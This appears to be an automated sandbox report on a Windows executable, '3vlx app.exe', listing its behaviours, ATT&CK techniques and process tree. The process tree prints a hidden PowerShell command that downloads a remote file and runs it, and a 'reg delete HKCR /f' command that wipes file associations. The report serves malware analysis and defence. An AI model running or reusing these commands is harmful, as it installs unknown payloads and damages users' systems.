Analysis
- max time kernel
52s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
26/10/2026, 16:20
General
- Target 3vlx app.exe
- Size 37KB
- Sample261026-ttkd5sty6m
- SHA256 a999caa26a6fc0e5dbc88695b77159cff59292574208049c4eb4db30c94ad88e
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"C:\Users\Admin\AppData\Local\Temp\3vlx app.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004E01⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/2252-0-0x0000000000970000-0x0000000000980000-memory.dmp
memory/2252-1-0x00007FFED5E0F000-0x00007FFED5E10000-memory.dmp
memory/2252-2-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-3-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-4-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-5-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-6-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-7-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-8-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-9-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/2252-10-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-16-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-17-0x000001AD54920000-0x000001AD54942000-memory.dmp
memory/4908-18-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-19-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-20-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-21-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-22-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-23-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-24-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-25-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-26-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-28-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-27-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-29-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-30-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-31-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp
memory/4908-33-0x00007FFED5C80000-0x00007FFED6624000-memory.dmp